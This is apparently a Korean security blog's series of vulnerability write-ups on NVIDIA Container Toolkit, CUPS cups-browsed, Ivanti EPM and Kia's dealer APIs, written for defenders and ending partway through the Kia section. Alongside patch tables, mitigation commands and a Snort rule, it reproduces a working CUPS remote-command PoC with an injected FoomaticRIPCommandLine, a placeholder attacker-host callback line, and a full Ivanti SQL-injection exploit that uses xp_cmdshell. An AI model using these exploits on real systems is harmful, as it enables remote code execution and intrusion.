1. NVIDIA Container Toolkit [1]

- 컨테이너 런타임 라이브러리와 NVIDIA GPU를 활용하도록 컨테이너를 자동으로 구성하는 유틸리티가 포함
- Docker 컨테이너 내에서 NVIDIA GPU를 효율적으로 활용할 수 있도록 만들어진 도구
> 일반적인 환경에서 Docker를 동작 시키면 Host의 CPU를 기반으로 Docker가 생성되며, GPU를 사용할 수 없음
> 과거에는 GPU를 사용하기 위해 컨테이너 내에 NVIDIA GPU 드라이버를 설치하였으나, 안전성-하드웨어와 컨테이너의 드라이버 버전을 매번 맞춰야하는-문제가 있음
> NVIDIA Container Toolkit은 Container에서 GPU를 사용시 libcuda.so와 같은 Host에 있는 CUDA Toolkit들을 마운트해주는 역할

※ CUDA(Computed Unified Device Architecture) Toolkit: 고성능 GPU 가속 애플리케이션을 만드는 개발 환경을 제공 [2]

 

2. 취약점 [3]

2.1 CVE-2024-0132

[사진 1] CVE-2024-0132 [4]

- NVIDIA Container Toolkit에서 발생하는 TOCTOU 취약점 (CVSS: 9.0)

> 악성 이미지를 통해 실행되는 컨테이너를 탈출해 호스트 시스템에 대한 전체 액세스 권한을 얻을 수 있음

> 악용에 성공할 경우 코드 실행, 서비스 거부(DoS), 권한 상승, 정보 유출, 데이터 변조 등의 공격을 유발할 수 있음

※ 구체적인 기술적 세부 사항은 공개하지 않음

영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전

2.1.1 TOCTOU (Time-Of-Check to Time-Of-Use) 취약점

자원을 사용하는 시점과 검사하는 시점이 달라서 자원의 상태변동으로 야기되는 Race Condition 취약점

> 병렬시스템(멀티프로세스로 구현한 응용프로그램)에서는 자원(파일, 소켓 등)을 사용하기에 앞서 자원의 상태를 검사

> 하지만, 자원을 사용하는 시점과 검사하는 시점이 다르기 때문에, 검사하는시점(Time Of Check)에 존재하던 자원이 사용하던 시점(Time Of Use)에 사라지는 등 자원의 상태가 변하는 경우가 발생

동기화 구문을 통해 한번에 하나의 프로세스만 공유자원에 접근 가능하도록 처리

> 성능에 미치는 영향을 최소화하기 위해 임계코드 주변만(동기화가 필요한 부분만) 동기화 구문을 사용

2.1.2 공격 과정

[영상 1] 공격 과정 [5]

① 공격자는 악성 이미지를 제작해 유포한 후 대상 플랫폼에서 악성 이미지 실행
> 공급망 또는 사회공학적기법을 사용해 이미지 실행을 유도
② CVE-2024-0132를 악용해 호스트 파일 시스템에 엑세스
③ Container Runtime Socket을 이용해 호스트 시스템에서 임의의 명령 실행
> docker.sock 및 containerd.sock 악용: root 권한으로 호스트 시스템에서 컨테이너로 임의의 명령을 실행할 수 있음

 

2.2 CVE-2024-0133

[사진 2] CVE-2024-0133 [6]

- 컨테이너 이미지가 호스트 파일 시스템에 빈 파일을 생성할 수 있는 취약점

영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전

 

※ 두 취약점 모두 CDI (Container Device Interface)가 사용되는 경우 영향받지 않음
> CDI (Container Device Interface): 컨테이너 런타임에서 NVIDIA GPU와 같은 복잡한 디바이스에 대한 액세스를 표준화 [7]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [8][9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-0132
CVE-2024-0133
NVIDIA Container Toolkit v1.16.1 이하 v1.16.2
NVIDIA GPU Operator v24.6.1 이하 v24.6.2

4. 참고

[1] https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/index.html
[2] https://developer.nvidia.com/cuda-toolkit
[3] https://www.wiz.io/blog/wiz-research-critical-nvidia-ai-vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-0132
[5] https://www.youtube.com/watch?v=kslKQMgWMzY
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-0133
[7] https://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71562&menuNo=205020
[9] https://nvidia.custhelp.com/app/answers/detail/a_id/5582
[10] https://thehackernews.com/2024/09/critical-nvidia-container-toolkit.html

1. CUPS(Common Unix Printing System) [1]

- 유닉스 계열 표준 인쇄 시스템

- CUPS는 0.0.0.0:631(UDP)에서 수신 대기중

>  IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미

[사진 1] netstat -anu

- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌

> root로 실행

> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음

[사진 2] cups-browsed

2.취약점 [2]

- CUPS의 cups-browsed 데몬에서 발생하는 취약점

> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음

 

- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]

> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생
> 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성
> 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발

[사진 3] Shodan title:"CUPS" 검색 결과

서비스명 영향받는 버전
cups-browsed 2.0.1 이하
libcupsfilters 2.1b1 이하
libppd 2.1b1 이하
cups-filters 2.0.1 이하

 

2.1 주요내용

2.1.1 CVE-2024-47176

- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)

> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷 전송

> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨

0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever

[사진 4] CVE-2024-47176 [4]

2.1.2 CVE-2024-47076

- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송

> libcupsfilters.cfGetPrinterAttributes()반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성

※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수
※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함

[사진 5] CVE-2024-47076 [5]

2.1.3 CVE-2024-47175

- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입

> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 ​​데이터를 PPD 파일에 주입할 수 있음

*FoomaticRIPCommandLine : "echo 1 > /tmp /PWNED" // 명령 줄 삽입
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip // CUPS가 /usr /lib/cups/filter/foomatic -rip(FoomaticRIPCommandLine 사용)을 실행하도록 지시

[사진 6] CVE-2024-47175 [6]

2.1.4 CVE-2024-47177

- cups-filters.foomatic-rip은 FoomaticRIPCommandLine 지시문을 통해 임의의 명령 실행을 허용

> foomatic-rip 필터는 FoomaticRIPCommandLine 지시문을 통해 임의의 명령을 실행할 수 있으며, 관련 취약점(CVE-2011-2697, CVE-2011-2964)이 존재하지만 2011년 이후 패치되지 않음

※ CUPS 개발자 문의 결과 수정이 매우 어렵고, Foomatic을 통해서만 지원되는 오래된 프린터 모델이 있기 때문으로 답변 받음

※ cups-filters: CUPS 2.x가 Mac OS가 아닌 시스템에서 사용할 수 있는 백엔드, 필터 및 기타 소프트웨어를 제공

[사진 7] CVE-2024-47177 [7]
[사진 8] 취약점 요약 [8]

2.2 PoC [9]

- 공격자가 제어하는 IPP 서버 정보(def send_browsed_packet) 및 FoomaticRIPCommandLine 지시문을 통한 원격 명령 실행(def printer_list_attributes)

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

 

[영상 1] 시연 영상

3. 대응방안

- 아직까지 취약점이 해결된 버전이 배포되지 않음 [10]

① CUPS 실행 여부 및 패키지 버전 확인

 ⒜ $ sudo systemctl status cups-browsed

   > 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음

   > 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우
 ⒝ dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'

   > CUPS 관련 패키지들의 설치 여부와 버전 정보를 확인하는 명령

 

② cups-browsed 서비스 비활성화 (사용하지 않을 경우)

> $ sudo systemctl stop cups-browsed; sudo systemctl disable cups-browsed

> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정

 

③ 방화벽 설정 강화

> $ sudo ufw deny proto udp from any to any port 631

 

④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]

 ⒜ 동작 과정

   > 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음)
   > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성
   > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송
   > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다. 

 ⒝ 결과

   > 스캔 결과는 총 2개의 Log에 기록

   > cups.log_응답한 장치의 IP&CUOS 버전 정보 기록

   > requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록

#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer


# a simple function to enable easy changing of the timestamp format
def timestamp():
    return time.strftime("%Y-%m-%d %H:%M:%S")


# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
    # replace default access log behavior (logging to stderr) with logging to access.log
    # log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
    def log_message(self, _format, *_args):
        log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
                   f'{self.headers["User-Agent"]}\n'
        self.server.access_log.write(log_line)
        self.server.access_log.flush()

    # log raw requests from cups-browsed instances including POST data
    def log_raw_request(self):
        # rebuild the raw HTTP request and log it to requests.log for debugging purposes
        raw_request = f'[{timestamp()}]\n'
        raw_request += f'{self.requestline}\r\n'
        raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())

        content_length = int(self.headers.get('Content-Length', 0))
        if content_length > 0:
            raw_body = self.rfile.read(content_length)
            self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
        else:
            self.server.request_log.write(raw_request.encode('utf-8'))

        self.server.request_log.flush()

    # response to all requests with a static response explaining that this server is performing a vulnerability scan
    # this is not required, but helps anyone inspecting network traffic understand the purpose of this server
    def send_static_response(self):
        self.send_response(200, 'OK')
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')

    # handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
    def do_GET(self):
        self.send_static_response()

    # handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
    def do_POST(self):
        # we'll just grab all requests starting with /printers/ to make sure we don't miss anything
        # some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
        if self.path.startswith('/printers/'):
            ip, port = self.client_address

            # log the cups-browsed request to cups.log and requests.logs and output to console
            print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
            self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
            self.server.cups_log.flush()
            self.log_raw_request()

        self.send_static_response()


# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
    def __init__(self, server_address, handler_class, log_dir='logs'):
        super().__init__(server_address, handler_class)
        # create 'logs' directory if it doesn't already exist
        log_dir = 'logs'
        if not os.path.exists(log_dir):
            os.makedirs(log_dir)

        # create three separate log files for easy debugging and analysis
        # access.log    - any web requests
        # cups.log      - ip, port, useragent, and request URL for any request sent to CUPS endpoint
        # requests.log  - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
        self.access_log = open(f'{log_dir}/access.log', 'a')
        self.request_log = open(f'{log_dir}/requests.log', 'ab')
        self.cups_log = open(f'{log_dir}/cups.log', 'a')

    def shutdown(self):
        # close all log files on shutdown before shutting down
        self.access_log.close()
        self.request_log.close()
        self.cups_log.close()
        super().shutdown()


# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
    host, port = callback_server.split(':')
    port = int(port)

    if port < 1 or port > 65535:
        raise RuntimeError(f'invalid callback server port: {port}')

    server_address = (host, port)
    _httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
    print(f'[{timestamp()}] callback server running on port {host}:{port}...')

    # start the HTTP server in a separate thread to avoid blocking the main thread
    server_thread = threading.Thread(target=_httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    return _httpd


def scan_range(ip_range, callback_server, scan_unsafe=False):
    # the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
    # we can set the printer to any http server as long as the path starts with /printers/ or /classes/
    # we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')

    # expand the CIDR notation into a list of IP addresses
    # make scanning only host addresses the default behavior (exclude the network and broadcast address)
    # the user can override this with flag --scan-unsafe
    if scan_unsafe:
        ip_range = list(ipaddress.ip_network(ip_range))
    else:
        ip_range = list(ipaddress.ip_network(ip_range).hosts())

    if len(ip_range) < 1:
        raise RuntimeError("error: invalid ip range")

    print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')

    # send the CUPS command to each IP on port 631 to trigger a callback to our callback server
    for ip in ip_range:
        ip = str(ip)
        udp_socket.sendto(udp_callback, (ip, 631))


# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
    print(f'[{timestamp()}] shutting down server and exiting...')
    _httpd.shutdown()
    sys.exit(0)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog='python3 scanner.py',
        description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
        usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
    )

    parser.add_argument('--callback', required=True, dest='callback_server',
                        help='the host:port to host the callback server on (must be reachable from target network) '
                             'example: --callback 192.168.0.1:1337')

    parser.add_argument('--targets', required=True, dest='target_ranges',
                        help='a comma separated list of ranges '
                             'example: --targets 192.168.0.0/24,10.0.0.0/8')

    parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
                        help='Typically the first and last address in a CIDR are reserved for the network address and '
                             'broadcast address respectively. By default we do not scan these as they should not be '
                             'assigned. However, you can override this behavior by setting --scan-unsafe')

    args = parser.parse_args()

    try:
        # start the HTTP server to captures cups-browsed callbacks
        print(f'[{timestamp()}] starting callback server on {args.callback_server}')
        httpd = start_server(args.callback_server)

        # register sigint handler to capture CTRL + C
        signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))

        # split the ranges up by comma and initiate a scan for each range
        targets = args.target_ranges.split(',')
        print(f'[{timestamp()}] starting scan')
        for target in targets:
            scan_range(target, args.callback_server, args.scan_unsafe)

        print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')

        # loop until user uses CTRL + C to stop server
        while True:
            time.sleep(1)

    except RuntimeError as e:
        print(e)

 

4. 참고

[1] https://github.com/openprinting/cups
[2] https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
[3] https://www.akamai.com/blog/security-research/october-cups-ddos-threat
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-47176
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-47076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-47175
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-47177
[8] https://ko.securecodewarrior.com/article/deep-dive-navigating-the-critical-cups-vulnerability-in-gnu-linux-systems
[9] https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71558&menuNo=205020
[11] https://github.com/MalwareTech/CVE-2024-47176-Scanner
[12] https://hackread.com/old-vulnerability-9-9-impacts-all-gnu-linux-systems/
[13] https://hackread.com/old-linux-vulnerability-exploited-ddos-attacks-cups/
[14] https://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/
[15] https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
[16] https://www.boannews.com/media/view.asp?idx=133188

1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

1. 개요

- 해외 연구팀이 기아 차량의 번호판만으로 차량에 명령을 내릴 수 있는 취약점 발견 [1]
- 모든 기아 차량에 영향 받으며, 기아 Connect 구독 여부와 관계없이 차량 하드웨어가 장착된 경우 공격 가능
- 공격자는 개인정보(차량 소유주 이름, 전화번호, 이메일, 실주소 등)뿐만아니라 차량의 제어권을 획득할 수 있음

 

2. 주요 내용

- 연구진은 웹사이트 owners.kia[.]com와 Kia Connect iOS 앱 com.myuvo[.]link 분석
> 두 애플리케이션은 인터넷을 통해 차량 제어 명령을 보낼 수 있음

※ 웹 사이트는 백엔드 역방향 프록시를 사용해 사용자 명령을 실제 차량 명령을 실행하는 api.owners.kia.com 백엔드 서비스로 전달
※ 앱은 해당 API에 직접 액세스

 

- owners.kia[.]com 웹사이트에서 차량 문 잠금 해제를 위한 HTTP 요청

[사진 1] 요청 예시

- 서버는 JSESSIONID를 사용해 Sid 세션 ID 생성 및 백엔드 API에 요청 전달

> Sid는 세션 토큰, Vinkey는 차대번호(VIN_차량 식별에 사용되는 고유한 일련 번호)와 매핑되는 UUID

[사진 2] 요청 예시

2.1 Kia 딜러 인프라 취약점

- 연구진은 Kia에서 새 차를 구매할때, 차량 등록을 위해 고객에게 보내는 이메일에서 URL을 발견

> VIN 파라미터는 딜러가 생성한 일회성 토큰으로, 파라미터로 지정된 차량을 수정할 수 있음

https://kiaconnect.kdealer.com/content/kDealer/en/kiauser.html?token=dealer_generated_access_token&vin=example_vin&scenarioType=3

 

- 해당 URL을 로드하면 토큰의 유효성을 확인하는 HTTP 요청이 전송

> 딜러 사이트의 요청 URI가 owners 사이트와 동일한 /apps/services/kdealer/apigwServlet.html

> 딜러용 내부 API로 요청을 전달하는 프록시가 있을 것으로 예상

[사진 3] 토큰 유효성 검사

- JavaScript를 확인한 결과 딜러 차량 조회, 계정 조회, 등록, 해지 등 직원 전용 기능을 가진 API 호출 발견

> 소유한 차량의 VIN으로 API 앤드포인트에 접근해 보았으나, 401 Unauthorized 반환

dealerVehicleLookUp() {
    this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
        vin: this.vinToEnroll
    }, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
        i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
    })
}

 

2.2 일반 계정으로 딜러 API 접근

- 딜러 웹 사이트에서 새로운 계정을 생성해 액세스 토큰을 생성한 뒤 API 접근 시도

> 딜러 사이트에서 owners 사이트와 동일한 방식으로 사용자 등록을 시도한 결과 200 OK 반환

> 이후 로그인하여 액세스 토큰 생성 VIN 조회 API 호출 결과 차량 소유주 이름, 전화번호, 이메일 주소 반환

> 일반 자격 증명과 수정된 채널 헤더를 사용하면 모든 딜러용 API에 접근할 수 있다는 것을 의미

 

